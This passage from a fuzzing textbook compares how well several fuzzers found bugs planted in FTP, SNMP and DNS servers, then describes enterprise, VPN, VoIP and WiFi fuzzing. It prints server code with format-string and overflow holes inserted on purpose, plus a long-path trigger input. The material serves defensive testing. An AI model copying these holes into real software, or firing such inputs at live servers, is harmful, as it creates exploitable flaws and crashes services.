Figure 8.2 Percentage of bugs found and code coverage obtained by fuzzers against the SNMP server. Table 8.2 Results of Fuzzing the SNMP Server Bug 0 1 2 3 4 5 6 9 10 11 12 13 14 15 16 GPFRandom GPF Generic X X X X X X X GPF SNMP X X X X X X X X X ProxyFuzz X X X X X X Mu-4000 X X X X X X X X X X X X PROTOS X X X X X X X Codenomicon X X X X X X X X X X X X beSTORM X X X X X X 8.7 A Closer Look at the Results Some of the results of the testing are surprising, and some aren’t so surprising. First, let’s look at which bugs were found by which fuzzers. Quite a few bugs were found by all the fuzzers; there were also bugs that were found by only one fuzzer. We’ll take a closer look at why various bugs were found or missed in a bit. First, let’s try to draw some general conclusions from the data. 8.7.1 FTP Let’s take a look at some of the more prominent anomalies in the data. The first appears in the testing of FTP. Here are some bugs of interest. • Bugs 9, 12, and 13 were found by GPF but no other fuzzers. • Bugs 14 and 16 were found by Taof and ProxyFuzz but no other fuzzers. • Bugs 4, 5, and 15 were found by the generational-based fuzzers, but not the mutation-based ones. Let’s take a closer look at some of these bugs. Bug 9 is a format string vulnerabil- ity in the SIZE FTP verb (remember that pr_response_add_err() acts as a printf like function). 234 Fuzzer Comparison Figure 8.3 Summary of percentage of bugs found and code coverage obtained by fuzzers. Table 8.3 Results of Fuzzing the DNS Client Bug 0 1 2 3 4 5 7 8 11 12 13 14 15 GPF Random GPF Generic X X X X ProxyFuzz X X X X X X X X X Codenomicon X X X X X X X X X X beSTORM X MODRET core_size(cmd_rec *cmd) { ... if (!path || !dir_check(cmd->tmp_pool, cmd->argv[0], cmd->group, path, NULL) || pr_fsio_stat(path, &sbuf) == -1) { char tempbuf[64]; if(strstr(cmd->arg, "%")){ BUGREPORT(9); } strncpy(tempbuf, cmd->arg, 64); strncat(tempbuf, ": ", 64); strncat(tempbuf, strerror(errno), 64); pr_response_add_err(R_550, tempbuf); None of the generational-based fuzzers ever execute the size verb, probably because it is not in RFC 959. Since Taof and ProxyFuzz were working off the same packet capture, they should have also found this bug. It is likely that ProxyFuzz just wasn’t run long enough to find it. Likewise, bugs 12 and 13 are in the EPSV com- mand, which again is not in the RFC. Next, we examine bug 16, which Taof and ProxyFuzz managed to find, but none of the other fuzzers did. This bug was a format string bug in the EPRT command, MODRET core_eprt(cmd_rec *cmd) { char delim = '\0', *argstr = pstrdup(cmd->tmp_pool, cmd->argv[1]); ... /* Format is <d>proto<d>ip address<d>port<d> (ASCII in network order), * where <d> is an arbitrary delimiter character. */ delim = *argstr++; ... while (isdigit((unsigned char) *argstr)) argstr++; ... if (*argstr == delim) argstr++; ... if ((tmp = strchr(argstr, delim)) == NULL) { pr_log_debug(DEBUG3, "badly formatted EPRT argument: '%s'", cmd- >argv[1]); char tempbuf[64]; if(strstr(cmd->argv[1], "%")!=NULL){ BUGREPORT(16); } snprintf(tempbuf, 64, "badly formatted EPRT argument: '%s'", cmd->argv[1]); pr_response_add_err(R_501, tempbuf); return ERROR(cmd); } 8.7 A Closer Look at the Results 235 To activate this bug, you need to have an argument to EPRT without enough delim- iters, and the portion of the argument after the second delimiter needs to contain a format string specifier. Again, the generational-based fuzzers did not run the EPRT command. Looking at why GPF missed the bug, the code coverage reveals that it always included the right number of delimiters, in other words, it wasn’t random enough! 236 Fuzzer Comparison This code is taken from the lcov code coverage tool (based on gcov). The number to the left of the colon indicates the number of times the instrumented (i.e., real) code was executed. Executed code is highlighted lightly, missed code darkly. Here we see that GPF never got into the error-checking clause for a badly formatted EPRT argu- ment and thus missed the bug. The same phenomenon occurs for bug 14. Finally, we examine bug 4, which was only found by the generational-based fuzzers: char *dir_canonical_path(pool *p, const char *path) { char buf[PR_TUNABLE_PATH_MAX + 1] = {'\0'}; char work[256 + 1] = {'\0'}; if (*path == '~') { if(strlen(path) > 256 + 1){ BUGREPORT(4); } if (pr_fs_interpolate(path, work, strlen(path)) != 1) { if (pr_fs_dircat(work, sizeof(work), pr_fs_getcwd(), path) < 0) return NULL; } This bug is only activated when a long path is used that starts with the tilde char- acter. An example session would be something like: USER anonymous PASS [email protected] CWD ~AAAAAAAAAAAAAAAAAAA... Looking at the code coverage from another fuzzer, say GPF, shows what happened: 8.7 A Closer Look at the Results 237 GPF never used a path that began with the tilde. 8.7.2 SNMP As in the FTP fuzzing comparison, there were a few noteworthy bugs in the SNMP testing as well. • Bugs 2 and 3 were found by GPF and the Mu-4000, but missed by PROTOS, beSTORM, and Codenomicon. • Bug 4 is the opposite and was found by PROTOS, beSTORM, and Code- nomicon, but missed by all the other fuzzers. Both bugs 2 and 3 have to do with the secName variable: /* * Locate the User record. * If the user/engine ID is unknown, report this as an error. */ if ((user = usm_get_user_from_list(secEngineID, *secEngineIDLen, secName, userList, (((sess && sess->isAuthoritative == SNMP_SESS_AUTHORITATIVE) || (!sess)) ? 0 : 1))) == NULL) { DEBUGMSGTL(("usm", "Unknown User(%s)\n", secName)); if (snmp_increment_statistic(STAT_USMSTATSUNKNOWNUSERNAMES) == 0) { DEBUGMSGTL(("usm", "%s\n", "Failed to increment statistic.")); } do { char tempbuf[32]; memset(tempbuf,0,32); strcat(tempbuf,"Unknown User: ); if (strlen(tempbuf) + strlen(secName) > 31) { BUGREPORT(2); } strcat(tempbuf,secName); if (strstr(secName, "%")) { BUGREPORT(3); /* Format string */ } ... snmp_log(LOG_WARNING, tempbuf); Note that the vulnerable lines are only activated if an unknown username is used. There is a different reason each fuzzer missed this bug. beSTORM never even calls this function, since it doesn’t support SNMP version 3, as the following snippet from an lcov coverage report confirms: Codenomicon never gets to this line, it always used an unknown “engine id,” Meanwhile the Mu-4000 never sent an invalid username (at this point in the program). Again, this is an example of a fuzzer not being random enough. 238 Fuzzer Comparison Bug 4 had the opposite behavior. Here is the vulnerability: int snmp_pdu_parse(netsnmp_pdu *pdu, u_char * data, size_t * length) { ... /* * get header for variable-bindings sequence */ DEBUGDUMPSECTION("recv", "VarBindList"); data = asn_parse_sequence(data, length, &type, (ASN_SEQUENCE | ASN_CONSTRUCTOR), "varbinds"); if (data == NULL) return -1; /* * get each varBind sequence */ while ((int) *length > 0) { ... switch ((short) vp->type) { ... case ASN_OCTET_STR: case ASN_IPADDRESS: case ASN_OPAQUE: case ASN_NSAP: if (vp->val_len < sizeof(vp->buf)) { vp->val.string = (u_char *) vp->buf; } else { vp->val.string = (u_char *) malloc(200); if (vp->val_len > 200) { BUGREPORT(4); } } ... 8.7 A Closer Look at the Results 239 asn_parse_string(var_val, &len, &vp->type, vp->val.string, &vp->val_len); break; Again, only a very specific action will trigger this bug. GPF executed this function, but didn’t get deep enough in the function to even get to the switch statement. ProxyFuzz and the Mu-4000 both got deep enough, but did not provide a long enough string to actually make the overflow occur. Here is the code coverage from the Mu-4000: In this case, the code coverage report is taken on the code without the bug, but it is still clear that vp->val_len was always smaller than sizeof(vp->buf), and this is why the bug was never hit. 8.7.3 DNS As in the other comparison tests, for DNS, a few bugs stood out on differing ends of the spectrum. • DNS bugs 3 and 13 were only caught by Codenomicon. • DNS bug 14 was the only bug caught by beSTORM. First let’s look at bug 3, which proved difficult to find. Here is the code listing: static isc_result_t getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx, dns_section_t sectionid, unsigned int options) /* * Read the rdata from the wire format. Interpret the * rdata according to its actual class, even if it had a * DynDNS meta-class in the packet (unless this is a TSIG). * Then put the meta-class back into the finished rdata. */ rdata = newrdata(msg); .. 240 Fuzzer Comparison if(rdata->type == 0x06) { // SOA char *soa=malloc(128); if(rdata->length > 128) { BUGREPORT(3); } memcpy(soa, rdata->data, rdata->length); free(soa); } This bug is only activated if a long SOA type is encountered. Since the initial inputs used for the mutation-based fuzzers did not contain such a type, it is not surprising they did not find this bug. This is a case of having deficient or incomplete initial inputs for a mutation-based fuzzer. Now, let us consider bug 14. It was found by GPF, Codenomicon, and beSTORM. In fact, it was the only bug discovered by beSTORM. It was not found by ProxyFuzz, the generic fuzzer. Here is the bug: isc_result_t dns_message_parse(dns_message_t *msg, isc_buffer_t *source, unsigned int options) isc_region_t r; ... isc_buffer_remainingregion(source, &r); if (r.length != 0) { isc_log_write(dns_lctx, ISC_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MESSAGE, ISC_LOG_DEBUG(3), "message has %u byte(s) of trailing garbage", r.length); char garbage[255]; if(r.length > 255) { BUGREPORT(16); } memcpy(garbage, r.base, r.length); } This bug occurs when a large amount of unnecessary trailing data is provided. It’s not too surprising that most fuzzers found this as it is pretty basic and doesn’t require a detailed knowledge of the protocol. However, ProxyFuzz got to this point in the function, but never had any trailing garbage: 8.7 A Closer Look at the Results 241 Figure 8.4 Combining fuzzers finds more bugs than just using the best one. 8.8 General Conclusions We’ve seen which fuzzers performed better than others in different circumstances. We’ve looked at exactly which bugs proved difficult to find and which were easier. Now, let’s try to draw some general conclusions from the data. 8.8.1 The More Fuzzers, the Better Sometimes it is not good enough to use the best fuzzer in isolation. Observe the interesting fact that almost always, a combination of fuzzers finds more bugs than any single fuzzer! This data is highlighted in Figure 8.4. In fact, running all the fuzzers found, on average, over 50% more bugs than just running the most effective fuzzer by itself. Keep this in mind when deciding which fuzzer(s) to use. 8.8.2 Generational-Based Approach Is Superior While the fact that more fuzzers are significantly better than any one may be sur- prising, the fact that generational-based fuzzers find more bugs than mutation- based fuzzers will probably not come as a big surprise. In these three tests, the best generational-based fuzzer does over 15% better than the best mutation-based fuzzer. The exact comparison is shown in Figure 8.5. 8.8.3 Initial Test Cases Matter Another observation that can be made from this data is that the quality of the initial input is important. Consider the two initial packet captures used during the FTP test- ing. The data from this is summarized in Figure 8.6. While we could have guessed this was the case, we now know exactly how important the initial test cases can be. The difference in the number of bugs found beginning from these different inputs is clear. For GPF, 66% more bugs were found with the full packet capture. 242 Fuzzer Comparison For the other two fuzzers, no bugs were found with the partial packet capture, while three bugs were found with the full capture. This full packet capture took advantage of knowledge of the protocol and required some up-front work. In a sense, using the complete packet capture blurred the distinction between mutation- based and generational-based fuzzers. In practice, such “protocol complete” initial inputs may not be feasible to obtain. 8.8.4 Protocol Knowledge Also not surprising is that the amount of information about a particular protocol that a fuzzer understands correlates strongly with the quality of the fuzzing. Figure 8.7 shows some data taken from the SNMP fuzzing tests. ProxyFuzz does not understand the protocol at all, it merely injects random anomalies into valid SNMP transactions. It finds the fewest bugs. The GPF generic tokAid attempts to dissect binary protocols based on very generic techniques. It doesn’t understand the specifics of SNMP, but does do better than the completely 8.8 General Conclusions 243 Figure 8.6 The quality of the initial test case for mutation-based fuzzers makes a big difference. Figure 8.5 Generation-based fuzzers outperform mutation-based fuzzers. Figure 8.7 The more protocol information available, the more bugs found. random approach offered by ProxyFuzz. The GPF fuzzer with the custom-written SNMP tokAid does understand the SNMP protocol, at least with respect to the packets captured and replayed by GPF. That is to say, it doesn’t understand SNMP entirely, but does completely understand the packets it uses in its replay. This fuzzer does better still. Finally, the two commercial generational-based fuzzers completely understand every aspect of SNMP and gets the best results. Beside the fact more information means more bugs, we can see exactly how much more information (and thus time and money) gives how many more bugs. 8.8.5 Real Bugs Throughout this testing, the fuzzers were doing their best to find simulated bugs added to the applications. However, it was entirely possible by the way the tests are designed that they could uncover real bugs in these particular applications. It turns out one of the fuzzers actually did find a real bug in one of the applications. The Codenomicon fuzzer found a legitimate DoS vulnerability in Net-SNMP. This bug was reported to the developers of this project, and at the time of the writing of this book, this bug is fixed in the latest source snapshot. No other fuzzers found this real bug. Code coverage could be used to predict this fact as the Codenomicon fuzzer obtained significantly more code coverage of this application than the other fuzzers. 8.8.6 Does Code Coverage Predict Bug Finding? While we chose to test the fuzzers by looking at how effective they were at finding simulated vulnerabilities, we also chose to measure them by looking at code cover- age. One added benefit of doing this is that we now have both sets of data and can attempt to answer the hotly debated question, “Does high code coverage correlate to finding the most bugs?” As a first approximation to answering this question, let’s look at the graphs of code coverage versus bugs found for the three sets of data we generated (Figure 8.8). The figures seem to indicate that there is some kind of relationship between these two variables (which is good since they are supposed to be measuring the same thing). With such small data sets, it is hard to draw any rigorous conclusions, but we can still perform a simple statistical analysis based on this data. Consider the data found for FTP. We’ll use the statistics software SYSTAT to see if there is a 244 Fuzzer Comparison 8.8 General Conclusions 245 Figure 8.8 These three graphs plot code coverage versus bugs found for each of the fuzzers. Each point represents a fuzzer. The DNS graph especially shows the positive relationship. (a) FTP (b) SNMP (c) DNS relationship between the independent variable code coverage and the dependent variable bugs found.3 The results from the analysis follow: Dep Var: BUGS N: 11 Multiple R: 0.716 Squared multiple R: 0.512 Adjusted squared multiple R: 0.458 Standard error of estimate: 9.468 Effect Coefficient Std Error Std Coef Tolerance t P(2 Tail) CONSTANT -5.552 8.080 0.000 .___ -0.687 0.509 CC 0.921 0.300 0.716 1.000 3.074 0.013 Analysis of Variance Source Sum-of-Squares df Mean-Square F-ratio P Regression 847.043 1 847.043 9.449 0.013 Residual 806.813 9 89.646 What this means in English is that code coverage can be used to predict the num- ber of bugs found in this case. In fact, a 1% increase in code coverage increases the percentage of bugs found by .92%. So, roughly speaking, every 1% of additional code coverage equates to finding 1% more bugs. Furthermore, the regression coef- ficient is significant at the .02 level. Without getting into the details, this means that there is less than a 2% chance that the data would have been this way had the hypothesis that code coverage correlates to the number of bugs found been incor- rect. Thus, we can conclude that code coverage can be used to predict bugs found. This statistical model explains approximately 46% of the variance, indicating that other conditions exist that are not explained by the amount of code coverage alone. Therefore, there is strong evidence that code coverage can be used to predict the number of bugs a fuzzer will find but that other factors come into play as well. 8.8.7 How Long to Run Fuzzers with Random Elements Generational-based fuzzers, like the commercial fuzzers tested here, are easy to run. They already know exactly which inputs they will send and in what order. Thus, it is pretty easy to estimate exactly how long they will run and when they will finish. This is not the case for most mutation-based fuzzers, which contain randomness (Taof is an exception). Due to the fact there is randomness involved in selecting where to place anomalies and what anomalies to use, mutation-based fuzzers could theoretically run years and then suddenly get lucky and discover a new bug. So, the relevant question becomes, “When exactly has a fuzzer with random components run for ‘long enough’?” While we’re not in a position to answer this question directly, the fuzzer comparison testing we’ve conducted has allowed us to collect some relevant data that may shed light on this question. Figure 8.9 shows at what point during the fuzzing various bugs were discovered by ProxyFuzz in the 450 minutes it was used during DNS testing. 246 Fuzzer Comparison 3Thanks to Dr. Andrea Miller from Webster University for helping with this analysis. The thing to notice from this data is there are discrete jumps between the times when various bugs are discovered. Three easy-to-find bugs are found in the first three minutes of fuzzing. The next bug is not found for another 76 minutes. Like- wise, seven bugs are discovered in the first 121 minutes. Then it took another 155 minutes to find the next one. It would be very tempting during these “lulls” to think the fuzzer had found everything it could find and turn it off. Along these lines, the fuzzer did not find anything in the final hour of its run. Does this mean it wouldn’t find anything else, or that it was just about to find something? 8.8.8 Random Fuzzers Find Easy Bugs First One issue not addressed thus far is which bugs are found in which order when using a fuzzer with random components. Based on the last section, fuzzers clearly find some bugs very quickly, and other bugs require much more time to find. Figure 8.10 shows how often each bug from the ProxyFuzz run against DNS comparison was found. Not surprisingly, the ones that were found quickest were also the ones discov- ered the most frequently. The last two bugs discovered during this fuzzing run were only found once. 8.9 Summary In this chapter, we began by discussing the various functions that different fuzzers provide. Some fuzzers only provide fuzzed inputs and leave everything else to the user. Others provide a variety of services besides just the inputs, including target monitoring and reporting. We evaluated the quality of the test cases generated by a variety of different fuzzers for this comparison. While there are different ways to 8.9 Summary 247 Figure 8.9 The graph shows the number of minutes for ProxyFuzz to find the 9 SNMP bugs it discovered. Users who turn their fuzzer off early will miss the bugs discovered later. compare fuzzer’s quality, we took two approaches. First, we took three open-source applications and added a number of security vulnerabilities to each. We then meas- ured how many of these bugs were found by each fuzzer. We also measured the amount of code coverage obtained by each fuzzer. We compiled this data into var- ious charts and performed some analysis. We spent extra time examining those par- ticular bugs that only a few fuzzers could find to see what made them special. Overall, the results were that some fuzzers did better than others, but we found that the best practice to find the most bugs is to use a number of different fuzzers in combination. We also found that the quality of the initial test cases is important for mutation-based fuzzers and that the amount of protocol knowledge a fuzzer possesses is a good indication of how well it will perform. Finally, we learned that code coverage can be used to predict how well various fuzzers are performing. So while we set out to find which fuzzer was best, we ended up learning a lot about how different fuzzers work and were able to make general conclusions about fuzzing. 248 Fuzzer Comparison Figure 8.10 The bugs found most quickly were also found most frequently. C H A P T E R 9 Fuzzing Case Studies In this chapter, we will describe a few common use cases for fuzzing. We will explain our experiences with each of them, with examples drawn from real-life fuzzing deployments. These examples combine experiences from various deploy- ments, with the purpose of showing you the widest usage possible in each of the sce- narios. In real deployments, organizations often choose to deploy fuzzing at a slower pace than what we present here. We will not mention the actual organiza- tion names to protect their anonymity. As we have stressed in this book, fuzzing is about black-box testing and should always be deployed according to a test plan that is built from a risk assessment. Fuzzing is all about communication interfaces and protocols. As explained in Chap- ter 1, the simplest categorization of fuzzing tools is into the following protocol domains: • File fuzzing; • Web fuzzing; • Network fuzzing; • Wireless fuzzing. Whereas a good file fuzzing framework can be efficient in finding problems in programs that process spreadsheet documents, for example, it can be useless for web fuzzing. Similarly, a network fuzzer with full coverage of IP protocols will very rarely be able to do wireless protocols due to the different transport mechanisms. Due to the fact that many tools are targeted only to one of these domains, or due to the internal prioritization, many organizations deploy fuzzing in only one of these categories at a given time. Even inside each of these categories you will find fuzzers that focus on different attack vectors. One fuzzer can be tailored for graph- ics formats whereas, another will do more document formats but potentially with worse test coverage. One web fuzzer can do a great job against applications writ- ten in Java, but may perform badly if they are written in C. Network fuzzers can also focus on a specific domain such as VoIP or VPN fuzzing. Therefore, before you can choose the fuzzing framework, and even before you will do any attack vector analysis, you need to be able to identify the test targets. A simplified categorization of fuzzing targets, for example, can be, the following: • Server software; • Middleware; 249 • Applications (Web, VoIP, mobile);1 • Client software; • Proxy or gateway software. Finally, you need to build the test harness, which means complementing the chosen test tools with various tools needed for instrumenting and monitoring the test targets and the surrounding environment. With a well-designed test harness, you will be able to easily detect, debug, and reproduce the software vulnerabilities found. Various tools that you may need might include • Debuggers for all target platforms; • Process monitoring tools; • Network analyzers; • Scripting framework or a test controller. Now, we will walk through some use cases for fuzzing, studying the abovemen- tioned categories with practical examples. We will focus on performing attack vec- tor analysis and will present example fuzzing results where available. 9.1 Enterprise Fuzzing The first and most important goal in enterprise fuzzing is to test those services and interfaces that are facing the public Internet. Most often these are services built on top of the Web (i.e., HTTP), but there are many other exposed attack vectors at any enterprise. Those include other Internet services such as e-mail and VoIP, but also many other, more transparent, interfaces such as Network Time Protocol (NTP) and Domain Name Service (DNS). After the most exposed interfaces have been examined, some enterprise users we have worked with have indicated interest in testing internal interfaces. The inter- nal interfaces consist of communications conducted inside the organization that are not exposed to the Internet. Through such attack vectors, the inside users could abuse or attack critical enterprise servers. The assessment of internal attack vectors is also important, as studies show that a great number of attacks come from insid- ers.2 Even when considering a completely outside adversary, once they break into an internal machine, their next target will be these inside interfaces. 250 Fuzzing Case Studies 1As we have pointed it out several times, it is important to note that not all applications run on top of the Web. It is definitely the most widely used application development platform, though. 2The E-Crime Watch Survey 2004, by U.S. CERT and U.S. Secret Service indicated that insiders were responsible for 29% of attacks and 71% from outsiders. For more details on insider threats, see www.cert.org/archive/pdf/insidercross051105.pdf Whatever the test target, there are at least three methods for identifying the attack vectors that need testing: • Port scan from the Internet; • Run a network analyzer at various points in the network; • Perimeter defense rule-set analysis. A simple port scan conducted from outside the organization is the easiest to do and will quickly reveal most of the critical open services. When combined with a network analyzer based at several probes distributed in the enterprise network, the results will indicate which of the tests actually went through the various perimeter defenses of the organization. For example, some data may pass straight from an outside attacker to a critical server located deep within a network, while other data from the attacker may terminate in the “demilitarized zone,” or DMZ, with very little access to critical servers. A thorough analysis of the perimeter defenses, the rules and log files of firewalls and proxies, will provide similar results. At the perimeter you can, for example, detect the outgoing client requests and incoming response messages, which you would not be able to detect with any port scanning techniques. Various probe-based network analyzers can again help to detect these use cases, because they can check which client requests were actually responded to, therefore requiring client-side fuzzing. Enterprises are often surprised during this exercise at the number of interfaces, both server side and client side, that are actu- ally exposed to the open and hostile Internet. The greatest challenge in all enterprise test setups is that at some point, fuzzing will most probably crash the critical services that are being tested. Fuzzing should be first conducted in a separate test setup where crashes will not damage the production network and where the failures are perhaps easier to detect. These test facilities might not exist currently, as most testing done at an enterprise are feature and performance oriented, and can be executed against the live system during quiet hours. As an example of enterprise fuzzing, we will look at fuzzing against firewalls and other perimeter defenses, and also at fuzzing Virtual Private Network (VPN) systems. Both of these are today deployed in almost every enterprise requiring remote work with security critical data. Firewalls today are very application-aware and need to be able to parse and understand numerous communication protocols. This extensive parsing leaves them open to security vulnerabilities. Likewise, VPNs need to understand numerous complex, cryptographic protocols and are equally susceptible. Besides these, enterprise fuzzing is often conducted against e-mail sys- tems, web services, and various internal databases such as CRM. 9.1.1 Firewall Fuzzing A firewall is a system that integrates various gateway components into an intelligent router and packet filter. For most protocols, the firewall acts as an application-level gateway (ALG) or an application proxy. For the protocols that it supports, it some- times functions as a back-to-back user agent (B2BUA), on one side implementing a server implementation of the protocol, and on the other, client functionality. 9.1 Enterprise Fuzzing 251 The most critical analysis point for firewall fuzzing is how much of the appli- cation protocol the firewall actually implements. A firewall that functions only on the IP and socket level will not require application-level fuzzers. Against such sim- ple firewalls, using advanced application-layer fuzzers will often be a waste of time. In this case, much more effective tests can be found when the firewall is tested with low-level protocol suites. And due to the speed of the device, you can potentially use a fuzzing suite with millions of random test cases and still quickly complete the test- ing. A firewall can easily be tested at line speed, as the processing of the packets is fast, and needs to be fast. Also, a firewall that implements or integrates with content-filtering software such as anti-virus and anti-spam functionality should be tested with file fuzzers over various transport protocols. Firewalls may also treat most protocols as stateless, no matter how complex the protocol is in real life.3 For example, a firewall that is proxying the FTP proto- col may not care that the password is sent before the username, just that each sep- arate packet conforms to the relevant RFC. Firewalls do not necessarily have to understand the protocol as well as a true server or client, only well enough to proxy requests back and forth. Due to the closed architecture of most firewalls, the monitoring facilities in fire- wall testing can be complex to set up. What makes this setup difficult, also, is that for best results one should always use the real server software as the termination point for the used inputs. However, many test systems will simulate the endpoint, which makes testing easier, but may not reveal the true functionality of the device. The best monitoring technique is through combining traditional test target monitor- ing tools with sets of network analyzers4 at two or four points in the packet route, one or two analyzers per each hop in the network (Figure 9.1). With this test setup, you will be able to detect: • Dropped packets; • Packets passed unaltered; • Packets passed altered with differences highlighted; • Delay, jitter, and packet loss (SLA) statistics for performance and availability evaluation. In addition to the available black-box monitoring techniques, the actual device can also be instrumented with process-monitoring tools. Unfortunately, very few firewall vendors will provide the low-level access to the device that is needed for proper monitoring during fuzz testing. There are many names for this type of testing, most of which are also used to describe other types of testing. Some call this pass-through testing, although to most 252 Fuzzing Case Studies 3A firewall often takes the simplest route around a problem. The most critical requirement for a firewall is performance. Keeping state information about thousands of parallel sessions will be close to impossible. 4Network “taps” are available, for example, from VSS Monitoring (www.vssmonitoring.com/) and analysis tools for combining numerous message streams from for example Clarified Net- works (www.clarifiednetworks.com/). of us with a quality assurance background, that term means testing the pass- through capability (performance) of a device. Others call this type of test setup proxy-testing or end-to-end testing. When fuzzing is done both ways, it can also be called cross-talk fuzzing. Also, for example, Ixia has a test methodology called “No Drop Throughput Test,” which has similarities. Perhaps, the correct fuzzing vari- ant of this would be “No Drop Fuzz Test.” This type of testing is sometimes also called “impairment” testing. End-to-end fuzzing is most probably the most general- purpose term for this type of test setup, as the SUT can consist of more than one network component, and the tests often need to be analyzed against real end-points and not just in simulated environments. An example result of analyzing an end-to-end fuzzing shows that only a small portion of fuzz tests either pass through the test network or are completely blocked. Most tests result in various unbalanced results in a complex network infrastructure involving perimeter defenses and other proxy components (Figure 9.2).5 When the fuzzed test cases involve a complex message flow, some part of the test cases can be modified, non-fuzzed messages can be dropped, or responses can be modified somewhere along the route. The result is very difficult to analyze with- out very intelligent network analyzers. This modification of messages is often intended behavior in, for example, a proxy implementing back-to-back user agent (B2BUA) functionality. 9.1.2 VPN Fuzzing As attractive as a VPN may be as an enterprise security solution, it can also be a big security challenge. The protocols comprising typical VPN implementations are many, and they are extremely complex, giving a lot of opportunities for implemen- tation errors. Many of the tests are run with or inside encrypted messages and tun- neled streams, making test analysis very challenging. 9.1 Enterprise Fuzzing 253 Figure 9.1 Proxy fuzzing testbed with monitoring requirements. 5Image from Clarified Networks. www.clarifiednetworks.com Each VPN can typically be configured to support a wide range of different tun- neling and encryption protocols, augmented with complex authentication proto- cols and key exchange protocols. • Tunneling: • L2TP • MPLS • Encryption: • IPSec • TLS/SSL (includes key exchange) • SSH1 and SSH2 (includes key exchange) • Authentication: • Radius • Kerberos • PPTP • EAP • CHAP and MS-CHAP • Key exchange: • ISAKMP/IKEv1 • IKEv2 So basically, a VPN is an Internet-facing device whose interior side resides within an internal subnet of the enterprise. Furthermore, it processes numerous 254 Fuzzing Case Studies Figure 9.2 Example analysis of end-to-end fuzzing using Clarified Networks analyzator and Codenomicon fuzzer. complex protocols. In other words, these devices are a security nightmare and need to be tested for all protocols that they support. Security protocols used in VPNS require sophistication from the fuzzer. For example, a SSL/TLS fuzzer needs to implement full capability to all encryption algorithms used in various TLS servers and clients. Codenomicon tools for SSL/TLS fuzzing are one example of a fuzzer that implements the encryption protocol fully to be able to fuzz it (Figure 9.3). As VPN client devices are often accessing the VPN server over the Internet, they also need to be carefully tested for client-side vulnerabilities. VPN client fuzzers combine similar challenges; namely, they need to implement the protocol at least at some level, and also, similarly to browser fuzzing, they are slow to execute as they test the client side. 9.2 Carrier and Service Provider Fuzzing Carriers and service providers were simple entities in the past world of legacy telecommunications, but more and more of these types of companies are today involved in both carrying traffic and providing service to enterprises and con- sumers. The carrier-type business is mostly about getting a specific stream to its intended recipient, although today there are more and more content-aware offer- ings. Protocols such as MPLS are used to label and prioritize various types of traf- fic. The service-provider-type business is adding value through services such as VoIP, e-mail, or web hosting, with or without providing the last mile connection to the customer. 9.2 Carrier and Service Provider Fuzzing 255 Figure 9.3 The third-generation TLS fuzzer from Codenomicon. A carrier or service provider is always handling untrusted data. In such environ- ment, all users will also be untrusted. All customers will have access to business- critical services, and this can enable customers to attack services. All customers can also potentially attack services of others using the network and the identity provided by the service provider. It should come as no surprise that the Internet service provider segment is one of the biggest consumers of fuzzing tools. From this seg- ment, we have chosen two case studies: Voice over IP (VoIP) and WiFi (also called WLAN by some). 9.2.1 VoIP Fuzzing Whereas enterprise VoIP is just another data service, in telecommunications it is a critical service that is destined to replace all legacy telephony. However, building VoIP is anything but simple.6 In VoIP, the device itself often maintains the identity of the callee and caller, and theft of such a device or possession of the processing capability of such a device will allow someone to impersonate people and conduct fraud. An attack against VoIP clients is an even greater threat than disabling a cen- tralized server, which is under the control of the provider and is thus easier to main- tain and secure. All VoIP infrastructures are also always handling critical data because almost no single call flow is securely encrypted from end-to-end, but often use hop-to-hop encryption. Access to any intermediary machine will allow someone to eavesdrop on all calls using that particular machine. Protocols used in VoIP include those dedicated for signaling and others for the actual media, such as voice. In addition to those, a wide range of other protocols are used. Signaling protocols include • SIP and SDP; • H.323; • RTSP; • Sigtran (SS7 over IP). Media protocols include • RTP (and encrypted variants); • RTCP. Other protocols used in VoIP also include • IPv4 and IPv6 (both UDP and TCP); • SCTP; • TLS/SSL; • Diameter and Radius; 256 Fuzzing Case Studies 6 For more information about VoIP Security, check out: Peter Thermos & Ari Takanen. (2007). Securing VoIP Networks—Threats, Vulnerabilities, and Countermeasures. Boston: Addison- Wesley. • DHCP, DNS and ENUM extensions to those; • SigComp; • RSVP. All VoIP implementations must have both client and server functionality, which is required in order to both make calls and to receive them. In SIP, these compo- nents are called SIP-UAC (User-Agent Client) and SIP-UAS (User-Agent Server). Testing both requires two fuzzer configurations, or test tools. Additionally, signal- ing protocols can be used on top of both TCP/IP and UDP. In a typical configuration, many VoIP signaling protocols travel through dedi- cated infrastructure, and authentication is performed against this same infrastruc- ture. The media protocols such as RTP are often point-to-point, with messages arriving from arbitrary clients on the Internet. This places special requirements for fuzzing media protocols such as RTP and RTCP. 9.2.2 WiFi Fuzzing Wireless fuzzing is a special field, with some special requirements for the equipment being tested. Not all wireless devices advertise themselves, and therefore the tools need to have advanced scanning techniques or need to be configured to detect the device under test (DUT). Wireless networks are always open; there is no physical wire or network device protecting a user from attackers. With adequate amplifiers, the range of wireless networks can be surprisingly long. For example, short-range wireless devices such as Bluetooth (about 10 meter range) have been attacked from up to a kilometer away. A WiFi fuzzer will break the wireless 802.11 frames at any layer below IP trans- port (Figure 9.4). As the frames are broadcast over the wireless network, any device 9.2 Carrier and Service Provider Fuzzing 257 Figure 9.4 802.11 frame fuzzed with Codenomicon fuzzer. Table 9.1 Results of Fuzzing Wireless Devices AP1 AP2 AP3 AP4 AP5 AP6 AP7 WLAN INC FAIL INC FAIL N/A INC INC 33% IPv4 FAIL PASS FAIL PASS N/A FAIL INC 50% ARP PASS PASS PASS N/A FAIL PASS PASS 16% TCP N/A N/A FAIL N/A FAIL PASS N/A 66% HTTP N/A PASS FAIL PASS INC FAIL FAIL 50% DHCP FAIL FAIL INC N/A FAIL FAIL N/A 80% 50% 40% 50% 33% 75% 50% 25% on the same channel can detect fuzzed wireless frames and crash. Therefore, tests should always be performed in a physically protected area, such as in a Faraday cage. This can require additional planning for the test setup. As wireless fuzzers require tailored hardware for access to low-level wireless frames, they always need to be certified for use in different markets. Without such certification, testers can- not use the tools outside protected test environments. Note that many tool vendors advertise wireless fuzzing, but what they really mean is that they can inject IP frames over a wireless network. They do not neces- sarily break the wireless packets themselves, but rather focus on traditional appli- cation fuzzing. The WiFi specifications that a fuzzing tool should test include • Management frames; • Open authentication; • QoS parameters; • WEP; • WPA1; • WPA2; • IEEE 802.1X / EAPOL. When you are testing access points and not the client implementations, you will most probably also want to test the following interfaces: • IPv4, at least ARP, UDP and TCP; • HTTP; • DHCP. In a fuzzing study against seven different WiFi access points, we noted that all access points could be crashed with at least some type of fuzzing.7 In Table 9.1, we can see that 33% of the devices 